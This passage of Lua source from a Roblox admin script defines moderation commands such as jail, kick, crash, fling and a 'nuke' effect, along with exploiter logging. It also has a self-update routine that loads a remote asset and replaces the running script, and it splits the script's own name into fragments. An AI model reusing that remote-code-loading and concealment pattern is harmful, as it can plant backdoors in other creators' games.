906 for Num,Val in pairs(Table) do NewTable[(#Table - Num) + 1] = Val end
907 return NewTable
908end
909
910function CORE:Log(LogTable, Player, Chat)
911 local PlayerName = tostring(Player)
912 if type(Player) == "userdata" or type(Player) == "table" then PlayerName = Player.Name end
913 table.insert(LogTable, CORE:GetTime(true, true).." @ "..PlayerName..": "..Chat)
914end
915
916function CORE:Jail(Player)
917 if not Player then return nil end
918 local Cell = Workspace:FindFirstChild(Player.Name.."'s Cell") if Cell then Cell:Destroy() end
919 Cell = Instance.new("Model", Workspace) Cell.Name = Player.Name.."'s Cell"
920 local Floor = Instance.new("Part", Cell) Floor.Name = "Floor" Floor.FormFactor = "Custom" Floor.Size = Vector3.new(15,1,15) Floor.Material = "DiamondPlate" Floor.TopSurface = "Smooth" Floor.BottomSurface = "Smooth" Floor.Position = Vector3.new(0,1001.7,0) Floor.Anchored = true Floor.Locked = true
921 local Wall = Instance.new("Part", Cell) Wall.Name = "Wall" Wall.FormFactor = "Custom" Wall.Size = Vector3.new(15,14.2,1) Wall.BrickColor = BrickColor.new("Bright blue") Wall.TopSurface = "Smooth" Wall.BottomSurface = "Smooth" Wall.Position = Vector3.new(0,1009.3,-7) Wall.Anchored = true Wall.Locked = true Wall.Transparency = 0.5
922 local SG = Instance.new("SurfaceGui", Wall) SG.Name = "SG" SG.Adornee = Wall
923 local Text = Instance.new("TextLabel", SG) Text.Size = UDim2.new(1,0,1,0) Text.BackgroundTransparency = 1 Text.TextColor3 = Color3.new(1,1,1) Text.Font = "ArialBold" Text.FontSize = "Size36" Text.TextYAlignment = "Bottom" Text.TextWrapped = true Text.Text = "WARNING: Wild noob in natural habitat. Do no tap glass, it may cause the noob to be angry. Do not open cage and feed noob"
924 Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(0,1009.3,7) Wall.SG.Face = "Back"
925 Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(-7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Front"
926 Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Back"
927 local Roof = Floor:Clone() Roof.Parent = Cell Roof.Name = "Roof" Roof.Position = Vector3.new(-0,1016.9, 0)
928 Cell:MoveTo(Vector3.new(0,3,0))
929
930 if Player.Character and Player.Character:FindFirstChild("Torso") then
931 Cell:MoveTo(Player.Character.Torso.Position - Vector3.new(0,3,0))
932 Player.Character:MoveTo(Floor.Position + Vector3.new(0,2,0))
933 end
934 table.insert(Dispose, Cell)
935 Jails[Player.Name] = Cell
936end
937
938function CORE:UnJail(Player)
939 if not Player then return nil end
940 if Jails[Player.Name] then
941 Jails[Player.Name]:Destroy()
942 Jails[Player.Name] = nil
943 end
944end
945
946function CORE:ChangeName(Player, NewName)
947 if not Player or not NewName then return nil end
948 if Player.Character and Player.Character:FindFirstChild("Humanoid") and Player.Character:FindFirstChild("Head") then
949 local NewName = STRING:FormatReplace(Player, NewName)
950
951 for _,Obj in pairs(Player.Character:GetChildren()) do
952 if Obj.Name == "Label" then Obj:Destroy() end
953 end
954
955 local Head = Player.Character.Head
956 local HeadClone = Head:Clone()
957
958 -- make actual head invisible
959 Head.Transparency = 1
960 ypcall(function() Head.face.Transparency = 1 end)
961
962 -- make fake head visible
963 HeadClone.Transparency = 0
964 ypcall(function() HeadClone.face.Transparency = 0 end)
965
966 local Label = Instance.new("Model", Player.Character)
967 Label.Name = "Label"
968
969 local Model = Instance.new("Model", Label)
970 Model.Name = NewName
971
972 local HumanoidClone = Instance.new("Humanoid", Model)
973 coroutine.wrap(function() while wait() and Player.Character and Player.Character:FindFirstChild("Humanoid") do HumanoidClone.Health = Player.Character.Humanoid.Health HumanoidClone.MaxHealth = Player.Character.Humanoid.MaxHealth end end)()
974
975 HeadClone.Position = Vector3.new(0,100,0)
976 HeadClone.CanCollide = false
977 ypcall(function() HeadClone.BrickColor = Player.Character["Body Colors"].Head end)
978
979
980 Delay(0.01, function() -- new roblox engine needs time to proccess that a label needs to be given after a model's been created
981 HeadClone.Parent = Model
982 local Weld = Instance.new("Weld", HeadClone)
983 Weld.Part0 = HeadClone
984 Weld.Part1 = Head
985 end)
986 end
987end
988
989function CORE:UpdateAdmin()
990 local UpdateModel = AdminID
991 if UpdateModel == 0 then return end
992 local NewAdminModel = nil
993 ypcall(function() NewAdminModel = Server.IS:LoadAsset(UpdateModel) end)
994 if NewAdminModel then
995 local NewAdmin = NewAdminModel:FindFirstChild("Ma".."kerModelLua's Admin", true)
996 if NewAdmin then
997 local NewVersion = NewAdmin:FindFirstChild("Version")
998 if NewVersion.Value ~= CORE.Version.Value then
999 if ExploitModule then
1000 ExploitModule.Disabled = true
1001 ExploitModule:Destroy()
1002 end
1003 NewAdmin.Disabled = true
1004 NewAdmin.Parent = Workspace
1005 if not Settings then
1006 local NewSettings = NewAdminModel:FindFirstChild("M".."a".."kerMod".."elL".."a's Admin Settings", true)
1007 if NewSettings then NewSettings.Parent = Workspace end
1008 end
1009 wait() NewAdmin.Disabled = false
1010 CORE:RemoveAdmin()
1011 else
1012 NewAdminModel:Destroy()
1013 end
1014 end
1015 end
1016end
1017
1018function CORE:UnpackPlayers(Players)
1019 local PlayerNames = ""
1020 for Num,Player in pairs(Players) do
1021 if Player ~= nil then
1022 if Num ~= #Players then
1023 PlayerNames = PlayerNames..Player.Name..", "
1024 else
1025 PlayerNames = PlayerNames..Player.Name
1026 end
1027 end
1028 end
1029 return PlayerNames
1030end
1031
1032function CORE:GetValue(Value)
1033 if Value:IsA("StringValue") then
1034 if Value.Name == "Owner" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Owner"], Value.Value) end end
1035 if Value.Name == "Admin" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Admin"], Value.Value) end end
1036 if Value.Name == "Member" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Member"], Value.Value) end end
1037 if Value.Name == "Banned" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Banned"], Value.Value) end end
1038 if Value.Name == "Crashed" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Crashed"], Value.Value) end end
1039 if Value.Name == "Muted" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Muted"], Value.Value) end end
1040 if Value.Name == "RemoveAdmin" then if ScanAdminList(Value.Value) then
1041 for Num,Admin in pairs(Settings.Ranks["Admin"]) do
1042 if Admin == Value.Value then
1043 table.remove(Settings.Ranks["Admin"],Num)
1044 end
1045 end
1046 end end
1047 end
1048end
1049
1050function CORE:GetPlayer(ID)
1051 local Return = {"Unknown", ID}
1052 if tonumber(ID) then
1053 for _,Data in pairs(CharacterCache) do
1054 if ID == Data[2] then
1055 return Data
1056 end
1057 end
1058 ypcall(function()
1059 local Name = Server.Players:GetNameFromUserIdAsync(ID)
1060 if Name then
1061 local Data = {Name, ID}
1062 table.insert(CharacterCache, Data)
1063 Return = Data
1064 end
1065 end)
1066 else
1067 local Name = tostring(ID)
1068 for _,Data in pairs(CharacterCache) do
1069 if string.lower(Name) == string.lower(Data[1]) then
1070 return Data
1071 end
1072 end
1073 ypcall(function()
1074 local PlayerID = Server.Players:GetUserIdFromNameAsync(Name)
1075 if PlayerID then
1076 Name = Server.Players:GetNameFromUserIdAsync(PlayerID) or Name
1077 local Data = {Name, PlayerID}
1078 table.insert(CharacterCache, Data)
1079 Return = Data
1080 end
1081 end)
1082 end
1083
1084 return Return
1085end
1086
1087function CORE:ChangeCharacter(Player, ID, Perm, Speaker, NameChar, ManualPos) coroutine.wrap(function()
1088 if ID and #tostring(ID) >= 1 then
1089 local PlayerName = nil
1090
1091 local Players = STRING:Scan(ID, Speaker)
1092 if #Players >= 1 then -- if player is found in server
1093 ID = Players[1].UserId
1094 elseif tonumber(ID) then
1095 local Data = CORE:GetPlayer(ID)
1096 PlayerName = Data[1]
1097 else
1098 local Data = CORE:GetPlayer(tostring(ID))
1099 PlayerName = Data[1]
1100 ID = Data[2]
1101 end
1102
1103 if tonumber(ID) == 20018 then -- exploding easter bunny
1104 local OldID = ID
1105 ID = 1
1106 if Speaker then
1107 if RANK:GetRank(Speaker) == "Member" then
1108 coroutine.wrap(function()
1109 wait(1)
1110 GUI:SendMessage(Speaker, "You cannot character as this", "RED No exploding easter bunnies allowed, sorry", "Error", 10)
1111 end)()
1112 else ID = OldID
1113 end
1114 end
1115 elseif tonumber(ID) == 1311 then -- ffjosh
1116 local OldID = ID
1117 ID = 1
1118 if Speaker then
1119 if RANK:GetRank(Speaker) == "Member" then
1120 coroutine.wrap(function()
1121 wait(1)
1122 GUI:SendMessage(Speaker, "You cannot character as this", "RED No exploiting moderators allowed, sorry", "Error", 10)
1123 end)()
1124 else ID = OldID
1125 end
1126 end
1127 end
1128
1129 if tonumber(ID) then
1130 local Position = nil
1131 if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") ~= nil then
1132 if ManualPos then
1133 Position = ManualPos
1134 else
1135 Position = Player.Character.Torso.Position
1136 end
1137 end
1138 Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..ID
1139 wait() Player:LoadCharacter() wait()
1140 if Position then Player.Character:MoveTo(Position) end
1141 if not Perm then
1142 Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Player.UserId
1143 end
1144 if NameChar and PlayerName then
1145 wait(2)
1146 CORE:ChangeName(Player, PlayerName)
1147 end
1148 end
1149 end
1150end)() end
1151
1152function CORE:GenerateShield(Player)
1153 if not Player then return nil end
1154 if not Player.Character then return nil end
1155 local Torso = Player.Character:FindFirstChild("Torso")
1156 if not Torso then return nil end
1157
1158 local Shield = Player.Character:FindFirstChild("Shield")
1159 if Shield then Shield:Destroy() end
1160
1161 Shield = Instance.new("Part", Player.Character)
1162 Shield.Name = "Shield"
1163 Shield.Locked = true
1164 Shield.CanCollide = false
1165 Shield.Size = Vector3.new(10,10,10)
1166 Shield.Shape = "Ball"
1167 Shield.Color = GUI:GetColor()
1168 Shield.Transparency = 0.5
1169 Shield.TopSurface = "Smooth"
1170 Shield.BottomSurface = "Smooth"
1171 Shield.Anchored = true
1172 Shield.Position = Torso.Position
1173
1174 local Hum = SOUND:MakeSound(Shield, 147493985, 1, 1, true)
1175 local Zap = SOUND:MakeSound(Shield, 192783601, 1, 1, false)
1176
1177 Hum:Play()
1178
1179 Shield.Touched:connect(function(Part)
1180 if Part.Parent ~= Server.Workspace then
1181 local Humanoid = Part.Parent:FindFirstChild("Humanoid") or Part.Parent.Parent:FindFirstChild("Humanoid") or Part.Parent.Parent.Parent:FindFirstChild("Humanoid")
1182 if Humanoid then
1183 local Char = Humanoid.Parent
1184 if Char:IsA("Model") and Humanoid.Health > 0 then
1185 if Char ~= Player.Character then
1186 Char:BreakJoints()
1187 Zap:Play()
1188 end
1189 end
1190 end
1191 end
1192 end)
1193
1194 coroutine.wrap(function() repeat wait()
1195 Shield.CFrame = Torso.CFrame
1196 until Torso.Parent == nil or Shield.Parent == nil end)()
1197end
1198
1199function CORE:FlingPlayer(Player)
1200 if Player and Player.Character then
1201 if Player.Character:FindFirstChild("Torso") then
1202 local Fling = Instance.new("BodyForce", Player.Character.Torso)
1203 Fling.Name = "Fling"
1204 Fling.force = Vector3.new(10000,10000,10000)
1205 end
1206 end
1207end
1208
1209function CORE:Kick(Player, CustomMessage)
1210 if not CustomMessage then CustomMessage = "You've been kicked by M".."ake".."rMode".."".."lLua's Admin. You cannot interact with the server in anyway." end
1211 coroutine.wrap(function()
1212 CORE:ExecuteResource("PlayerKickMessage", Player.Character, {["Message"] = CustomMessage})
1213 wait(1)
1214 Player:Kick(CustomMessage)
1215 end)()
1216end
1217
1218function CORE:Crash(Player)
1219 local Parent = Player
1220 if Player:FindFirstChild("Backpack") then Parent = Player.Backpack
1221 elseif Player.Character then Parent = Player.Character end
1222
1223 CORE:ExecuteResource("Crash", Parent)
1224end
1225
1226function CORE:RestoreCamera(Player)
1227 if Player.Backpack then
1228 CORE:ExecuteResource("RestoreCamera", Player.Backpack)
1229 end
1230end
1231
1232function CORE:ScanItems(BaseObj, ObjTypes, ActiveFunc)
1233 local function ScanInstance(Object)
1234 if #Object:GetChildren() > 0 then
1235 for _,Obj in pairs(Object:GetChildren()) do
1236 local IsType = false
1237 if ObjTypes and #ObjTypes > 0 then
1238 for _,ObjType in pairs(ObjTypes) do
1239 if Obj:IsA(ObjType) then
1240 IsType = true
1241 break
1242 end
1243 end
1244 else
1245 IsType = true
1246 end
1247 if IsType == true then
1248 ActiveFunc(Obj)
1249 end
1250 ScanInstance(Obj)
1251 end
1252 end
1253 end
1254 ScanInstance(BaseObj)
1255end
1256
1257function CORE:AnchorPlayer(Player)
1258 if not Player or not Player.Character or not Player.Character:FindFirstChild("Humanoid") then return end
1259
1260 Player.Character.Humanoid.WalkSpeed = 0
1261 for _,Object in pairs(Player.Character:GetChildren()) do
1262 if Object:IsA("BasePart") then
1263 Object.Anchored = true
1264 end
1265 end
1266end
1267
1268function CORE:UnanchorPlayer(Player)
1269 if not Player or not Player.Character or not Player.Character:FindFirstChild("Humanoid") then return end
1270
1271 Player.Character.Humanoid.WalkSpeed = 16
1272 for _,Object in pairs(Player.Character:GetChildren()) do
1273 if Object:IsA("BasePart") then
1274 Object.Anchored = false
1275 end
1276 end
1277end
1278
1279function CORE:InvisiblePlayer(Player)
1280 if not Player or not Player.Character then return end
1281
1282 CORE:ScanItems(Player.Character, {"BasePart", "Texture", "Decal"}, function(Obj) Obj.Transparency = 1 end)
1283end
1284
1285function CORE:VisiblePlayer(Player)
1286 if not Player or not Player.Character then return end
1287
1288 CORE:ScanItems(Player.Character, {"BasePart", "Texture", "Decal"}, function(Obj) if Obj.Name ~= "HumanoidRootPart" then Obj.Transparency = 0 end end)
1289end
1290
1291function CORE:Nuke(Player) coroutine.wrap(function()
1292 local Pos = CFrame.new(0,1,0)
1293 if Player and Player.Character and Player.Character:FindFirstChild("Torso") then Pos = Player.Character.Torso.CFrame * CFrame.new(0,1,0) end
1294 local Blast = Instance.new("Part", Server.Workspace) Blast.Name = "BlastEx" Blast.Anchored = true Blast.CanCollide = false Blast.Size = Vector3.new(1,1,1) Blast.CFrame = Pos
1295 local BlastMesh = Instance.new("SpecialMesh", Blast) BlastMesh.MeshId = "rbxassetid://1290033" BlastMesh.TextureId = "rbxassetid://33145325" BlastMesh.Scale = Vector3.new(0,0,0)
1296 local Wave = Instance.new("Part", Server.Workspace) Wave.BrickColor = BrickColor.new("Deep orange") Wave.Name = "WaveEx" Wave.Anchored = true Wave.CanCollide = false Wave.Size = Vector3.new(1,1,1) Wave.CFrame = Pos * CFrame.Angles(math.pi/2,0,0)
1297 local WaveMesh = Instance.new("SpecialMesh", Wave) WaveMesh.MeshId = "rbxassetid://3270017"
1298 local Light = Instance.new("PointLight", Blast) Light.Brightness = 1000 Light.Range = 10000 Light.Color = Color3.new(1,0.2,0.2)
1299
1300 local Effect = Instance.new("ColorCorrectionEffect", Server.Lighting) Effect.Brightness = 0.2 Effect.Contrast = 0.4 Effect.Saturation = 1 Effect.TintColor = Color3.new(1,0.2,0.2)
1301
1302 Server.Lighting.Brightness = 5
1303 Server.Lighting.Ambient = Color3.new(1,0.5,0.5)
1304 Server.OutdoorAmbient = Color3.new(1,1,1)
1305
1306 local Exp = Instance.new("Explosion", Server.Workspace)
1307 Exp.Position = Pos.p
1308 Exp.BlastPressure = 10000000
1309 Exp.BlastRadius = 1000000
1310 Exp.Hit:connect(function(Part)
1311 if Part.Name ~= "Base" and Part.Name ~= "BasePlate" and Part ~= Blast and Part ~= Wave and Part.Name ~= "BlastEx" and Part.Name ~= "WaveEx" then
1312 ypcall(function()
1313 Part.Anchored = false
1314 Part.BrickColor = BrickColor.new("Black")
1315 Part.Material = "Slate"
1316 Part:BreakJoints()
1317 end)
1318 end
1319 end)
1320
1321 local BoomSound = SOUND:MakeSound(Server.Workspace, 212389494, 1, 1.2, false)
1322 BoomSound:Play()
1323 for i = 0,100,0.5 do
1324 Blast.Anchored = true
1325 Wave.Anchored = true
1326 BlastMesh.Scale = Vector3.new(i,i,i)
1327 WaveMesh.Scale = Vector3.new(i^1.3,i^1.3,5)
1328 Blast.CFrame = Pos
1329 wait()
1330 end
1331 BoomSound:Stop()
1332 Blast:Destroy()
1333 Wave:Destroy()
1334 wait()
1335 BoomSound:Destroy()
1336 Effect:Destroy()
1337 for i = 10,5,-1 do
1338 Server.Lighting.Brightness = (i-5) + 1
1339 Server.Lighting.Ambient = Color3.new(i/10,0.5,0.5)
1340 Server.OutdoorAmbient = Color3.new(i/10,i/10,i/10)
1341 wait(0.05)
1342 end
1343end)() end
1344
1345function CORE:Insert(AssetID, Parent, GetFirstChild, FirstChildTypes, AbuseMode)
1346 local AssetID = tonumber(AssetID)
1347 local Item = nil
1348 if AssetID then
1349 local CanInsert = true
1350 if AbuseMode then
1351 for _,ID in pairs(RemoteAbuseGear) do
1352 if AssetID == ID then CanInsert = false break end
1353 end
1354 for _,ID in pairs(Settings.AbusableGear) do
1355 if AssetID == ID then CanInsert = false break end
1356 end
1357 end
1358 if CanInsert then
1359 Item = Server.IS:LoadAsset(AssetID)
1360
1361 if GetFirstChild then
1362 Item = Item:GetChildren()[1]
1363 if FirstChildTypes and Item then
1364 local ValidType = false
1365 for _,Type in pairs(FirstChildTypes) do
1366 if Item:IsA(Type) then
1367 ValidType = true
1368 break
1369 end
1370 end
1371 if ValidType == false then
1372 Item = nil
1373 end
1374 end
1375 end
1376 if Item and Parent then
1377 Item.Parent = Parent
1378 end
1379 end
1380 end
1381 return Item
1382end
1383
1384function CORE:GivePackage(Player, PID) coroutine.wrap(function()
1385 if not Player or not Player.Character then return nil end
1386 PID = tonumber(PID)
1387 for _,Obj in pairs(Player.Character:GetChildren()) do
1388 if Obj:IsA("CharacterMesh") then Obj:Destroy() end
1389 end
1390 if PID then
1391 if PackageCache[PID] then
1392 for _,ID in pairs(PackageCache[PID]) do
1393 CORE:Insert(ID, Player.Character, true, {"CharacterMesh"})
1394 end
1395 else
1396 local IDsJSON = REMOTE:GetURL(CORE.Domain.."/APIs/GetPackage.php?PackageID="..PID)
1397 if IDsJSON then
1398 local IDs = REMOTE:Decode(IDsJSON)
1399 if IDs then
1400 if not IDs["Error"] then
1401 table.insert(PackageCache, IDs)
1402 for _,ID in pairs(IDs) do
1403 CORE:Insert(ID, Player.Character, true, {"CharacterMesh"})
1404 end
1405 end
1406 end
1407 end
1408 end
1409 end
1410end)() end
1411
1412function CORE:ChangeBet(Bet)
1413 if tostring(Bet) and Bet ~= Settings.Bet then
1414 for Index,Data in pairs(Commands) do
1415 Commands[Index][1] = string.gsub(Data[1], Settings.Bet, Bet)
1416 end
1417 Settings.Bet = Bet
1418 end
1419end
1420
1421function CORE:ResetLighting()
1422 ModLighting = false wait(0.2) ModLighting = true
1423end
1424
1425function CORE:Fly(Player, Force)
1426 if Player and Player.Character then
1427 local StopFly = Instance.new("RemoteFunction", Player.Character)
1428 StopFly.Name = "StopMMLFly"
1429 CORE:ExecuteResource("Fly", Player.Character, {["Force"] = Force, ["StopFunc"] = StopFly})
1430 end
1431end
1432
1433function CORE:GiveTools(Player, Type)
1434 if not Player or not Player:FindFirstChild("Backpack") then return nil end
1435 Type = string.lower(Type)
1436 local _,RankNum = RANK:GetRank(Player)
1437 local BuildTools = {73089166, 73089190, 73089204, 73089214, 73089239, 73089259, 58921588}
1438 local BaseBuildTools = {["Move"] = "GameTool", ["Clone"] = "Clone", ["Delete"] = "Hammer"}
1439
1440 if Type == "basicbtools" or Type == "basicbuildtools" or Type == "basicbuildingtools" then
1441 for Name,Type in pairs(BaseBuildTools) do
1442 local Tool = Instance.new("HopperBin", Player.Backpack)
1443 Tool.Name = Name
1444 Tool.BinType = Type
1445 end
1446 elseif Type == "psbtools" then
1447 for _,Tool in pairs(BuildTools) do
1448 CORE:Insert(Tool, Player.Backpack, true)
1449 end
1450 elseif Type == "f3xtools" or Type == "fextools" or Type == "f3x" then
1451 if F3X then
1452 local F3X = F3X:Clone()
1453 F3X.Parent = Player.Backpack
1454 end
1455 elseif Type == "btools" then
1456 if F3X then
1457 local F3X = F3X:Clone()
1458 F3X.Parent = Player.Backpack
1459 end
1460 for Name,Type in pairs(BaseBuildTools) do
1461 local Tool = Instance.new("HopperBin", Player.Backpack)
1462 Tool.Name = Name
1463 Tool.BinType = Type
1464 end
1465 for _,Tool in pairs(BuildTools) do
1466 CORE:Insert(Tool, Player.Backpack, true)
1467 end
1468 else
1469 for _,Region in pairs(ToolRegions) do
1470 CORE:ScanItems(Region, {"HopperBin", "Tool"}, function(Item)
1471 if Type == "all" then
1472 local NewItem = Item:Clone()
1473 NewItem.Parent = Player.Backpack
1474 elseif string.sub(string.lower(Item.Name),1,#Type) == string.lower(Type) then
1475 local NewItem = Item:Clone()
1476 NewItem.Parent = Player.Backpack
1477 end
1478 end)
1479 end
1480 end
1481end
1482
1483function CORE:Scale(Player, ScalePercent)
1484 if not Player or not Player.Character or not tonumber(ScalePercent) then return end
1485 local Ratio = ScalePercent/100
1486 if Ratio < 0.05 then Ratio = 0.05 end
1487 if Ratio > 100 then Ratio = 100 end
1488 if Ratio > 1 then Ratio = math.ceil(Ratio) end
1489 local Char = Player.Character
1490
1491 local Clean = Char:FindFirstChild("Clean")
1492 if Clean then Clean:Invoke() wait(0.1) Char = Player.Character end
1493 Clean = Instance.new("BindableFunction", Char) Clean.Name = "Clean"
1494
1495 local function Cycle(BaseObj, ScaleRatio, NewAdd, JustWeld)
1496 local Welds = {}
1497 local Parts = {}
1498
1499 local function Handle(Obj)
1500 if Obj:IsA("BasePart") and not JustWeld then
1501 table.insert(Parts, Obj)
1502 elseif Obj:IsA("SpecialMesh") and not JustWeld then
1503 if Obj.Name == "MML Mesh" then
1504 Obj:Destroy()
1505 end
1506 if Obj.MeshType == Enum.MeshType.FileMesh then
1507 Obj.Offset = Obj.Offset * ScaleRatio
1508 Obj.Scale = Obj.Scale * ScaleRatio
1509 elseif Ratio < 1 then
1510 Obj.Offset = Obj.Offset * ScaleRatio
1511 Obj.Scale = Obj.Scale * ScaleRatio
1512 end
1513 elseif Obj:IsA("CharacterMesh") and not JustWeld then
1514 if Ratio < 1 then
1515 local BodyPart = ""
1516 local TextureID = Obj.BaseTextureId
1517 if TextureID == 0 then TextureID = Obj.OverlayTextureId end
1518 if TextureID == 0 then TextureID = nil end
1519 if Obj.BodyPart == Enum.BodyPart.LeftArm then BodyPart = "Left Arm" end
1520 if Obj.BodyPart == Enum.BodyPart.RightArm then BodyPart = "Right Arm" end
1521 if Obj.BodyPart == Enum.BodyPart.LeftLeg then BodyPart = "Left Leg" end
1522 if Obj.BodyPart == Enum.BodyPart.RightLeg then BodyPart = "Right Leg" end
1523 if Obj.BodyPart == Enum.BodyPart.Torso then BodyPart = "Torso" end
1524 if Obj.BodyPart == Enum.BodyPart.Head then BodyPart = "Head" end
1525 local NewMesh = Instance.new("SpecialMesh", Obj.Parent:FindFirstChild(BodyPart))
1526 NewMesh.Name = "MML Mesh"
1527 NewMesh.Scale = Vector3.new(ScaleRatio,ScaleRatio,ScaleRatio)
1528 if TextureID then NewMesh.TextureId = "rbxassetid://"..TextureID end
1529 NewMesh.MeshId = "rbxassetid://"..Obj.MeshId
1530 Obj:Destroy()
1531 end
1532 elseif Obj:IsA("JointInstance") then
1533 local NewWeld = Obj:Clone()
1534 table.insert(Welds, {NewWeld, Obj.Parent})
1535 elseif NewAdd == true and not JustWeld then
1536 if Obj:IsA("Tool") then
1537 --Cycle(Char["Right Arm"], ScaleRatio, false, true)
1538 elseif Obj:IsA("Accoutrement") then
1539 --Cycle(Char.Head, ScaleRatio, false, true)
1540 end
1541 end
1542 if #Obj:GetChildren() > 0 then
1543 for _,NewObj in pairs(Obj:GetChildren()) do
1544 Handle(NewObj, ScaleRatio)
1545 end
1546 end
1547 end
1548 Handle(BaseObj)
1549 for _,Part in pairs(Parts) do
1550 if Ratio >= 1 then
1551 Part.Size = Part.Size * ScaleRatio
1552 else
1553 local Allowed = true
1554 for _,Obj in pairs(Part:GetChildren()) do
1555 if Obj:IsA("DataModelMesh") or Obj.Name == "MML Mesh" then
1556 Allowed = false
1557 end
1558 end
1559 if Allowed == true then
1560 local NewMesh = Instance.new("BlockMesh", Part)
1561 NewMesh.Name = "MML Mesh"
1562 NewMesh.Scale = Vector3.new(Ratio,Ratio,Ratio)
1563 end
1564 end
1565 end
1566 for _,WeldData in pairs(Welds) do
1567 if WeldData[1] then
1568 local Obj = WeldData[1]
1569 local NewWeld = Obj:Clone()
1570
1571 NewWeld.Parent = WeldData[2]
1572 NewWeld.C0 = CFrame.new(Obj.C0.p * ScaleRatio) * CFrame.Angles(Obj.C0:toEulerAnglesXYZ())
1573 NewWeld.C1 = CFrame.new(Obj.C1.p * ScaleRatio) * CFrame.Angles(Obj.C1:toEulerAnglesXYZ())
1574 end
1575 end
1576 for _,Part in pairs(Parts) do
1577 Part:MakeJoints()
1578 end
1579 Welds = {}
1580 Parts = {}
1581 end
1582 Cycle(Char, Ratio)
1583 Char:MakeJoints()
1584
1585 local Added = Char.ChildAdded:connect(function(Obj)
1586 Cycle(Obj, Ratio, NewAdd)
1587 end)
1588 local Removed = Char.ChildRemoved:connect(function(Obj)
1589 Cycle(Obj, Ratio^-1, NewAdd)
1590 end)
1591
1592 Clean.OnInvoke = function()
1593 Added:disconnect()
1594 Removed:disconnect()
1595 local Location = Vector3.new(0,5,0)
1596 if Char:FindFirstChild("Torso") then
1597 Location = Char.Torso.Position + Vector3.new(0,2,0)
1598 end
1599 Player:LoadCharacter()
1600 wait(0.5)
1601 Player.Character:MoveTo(Location)
1602 wait(0.5)
1603 return nil
1604 end
1605
1606 if Char:FindFirstChild("Torso") then
1607 Char:MoveTo(Char.Torso.Position + Vector3.new(0,Ratio*3))
1608 end
1609 if Char:FindFirstChild("Humanoid") then
1610 Char.Humanoid.WalkSpeed = Char.Humanoid.WalkSpeed * (Ratio)
1611 end
1612 if Ratio < 1 and Char:FindFirstChild("HumanoidRootPart") and Char.HumanoidRootPart:FindFirstChild("RootJoint") then
1613 Char.HumanoidRootPart.RootJoint.C0 = CFrame.new(0,-(3-(Ratio*3)),0) * CFrame.Angles(-math.rad(90),0,math.pi)
1614 end
1615end
1616
1617function CORE:AddExploit(PlayerClient, Data)
1618 local PlayerClientName = PlayerClient.Name
1619 local NewData = CORE:GetTime(true, true).." @ "..Data
1620 for _,Player in pairs(Server.Players:GetChildren()) do
1621 GUI:SendHint(Player, "Exploiter Found: "..PlayerClientName.." | If you are an admin view exploit logs by saying ;exploitlogs", 5)
1622 end
1623 local ExploitLog = Server.GDS:GetAsync("ExploitLog")
1624 if type(ExploitLog) ~= "table" then
1625 Server.GDS:SetAsync("ExploitLog", {NewData})
1626 else
1627 table.insert(ExploitLog, NewData)
1628 Server.GDS:SetAsync("ExploitLog", ExploitLog)
1629 end
1630 REMOTE:SendHttpLog("EXPLOITER FOUND: "..Data, "WARNING")
1631
1632 return true
1633end
1634
1635function CORE:CreateFigure(Name, Position, DisableAnimation, Speaker)
1636 if not tostring(Name) then Name = "Dummy" end
1637 if not Position then Position = Vector3.new(0,5,0) end
1638 if Speaker and Speaker.Character and Speaker.Character:FindFirstChild("Torso") then
1639 Position = Speaker.Character.Torso.Position + Vector3.new(0,5,10)
1640 end
1641
1642 local Figure = CORE:Insert(68452456, Server.Workspace, true)
1643 Figure:MakeJoints()
1644 Figure.Head.BrickColor = BrickColor.new("Bright yellow")
1645 Figure["Left Arm"].BrickColor = BrickColor.new("Bright yellow")
1646 Figure["Right Arm"].BrickColor = BrickColor.new("Bright yellow")
1647 Figure["Left Leg"].BrickColor = BrickColor.new("Dark green")
1648 Figure["Right Leg"].BrickColor = BrickColor.new("Dark green")
1649 Figure.Torso.BrickColor = BrickColor.new("Bright blue")
1650
1651 Figure.Name = STRING:FormatReplace(Speaker, Name)
1652 Figure:MoveTo(Position)
1653
1654 table.insert(Objects, Figure)
1655
1656 if DisableAnimation == true then
1657 Figure.Animate.Disabled = true
1658 end
1659
1660 return Figure
1661end
1662
1663function CORE:ClonePlayer(Player, Name, Position)
1664 if not Player or not Player.Character then return nil end
1665
1666 Player.Character.Archivable = true
1667 local Char = Player.Character:Clone()
1668 Player.Character.Archivable = false
1669 if Name then Char.Name = STRING:FormatReplace(Player, Name) end
1670 if Position then Char:MoveTo(Position) end
1671 Char.Parent = Server.Workspace
1672 Char:MakeJoints()
1673 Char:MoveTo(Player.Character.Torso.Position + Vector3.new(0,3,1))
1674
1675 table.insert(Objects, Char)
1676
1677 return Obj
1678end
1679
1680function CORE:AddWaypoint(Name, Position, Speaker)
1681 Waypoints[Name] = Position
1682 if Speaker then
1683 GUI:SendHint(Speaker, "Waypoint "..Name.." is located at ("..tostring(Position)..")", 2)
1684 end
1685end
1686
1687function CORE:FindType(BaseObj, Type)
1688 for _,Obj in pairs(BaseObj:GetChildren()) do
1689 if Obj:IsA(Type) then
1690 return Obj
1691 end
1692 end
1693end
1694
1695function CORE:GetCommands()
1696 local CommandsCopy = Commands
1697 return CommandsCopy
1698end
1699
1700function CORE:Crown(Player, Mesh, Color)
1701 if Mesh then Mesh = string.lower(Mesh) end
1702 if not Mesh or not Meshes[Mesh] then Mesh = "crown" end
1703 if not Player or not Player.Character or not Player.Character:FindFirstChild("Head") then return end
1704 local Part = Instance.new("Part", CrownStorage)
1705 Part.Size = Vector3.new(2, 1, 1)
1706 Part.CanCollide = false
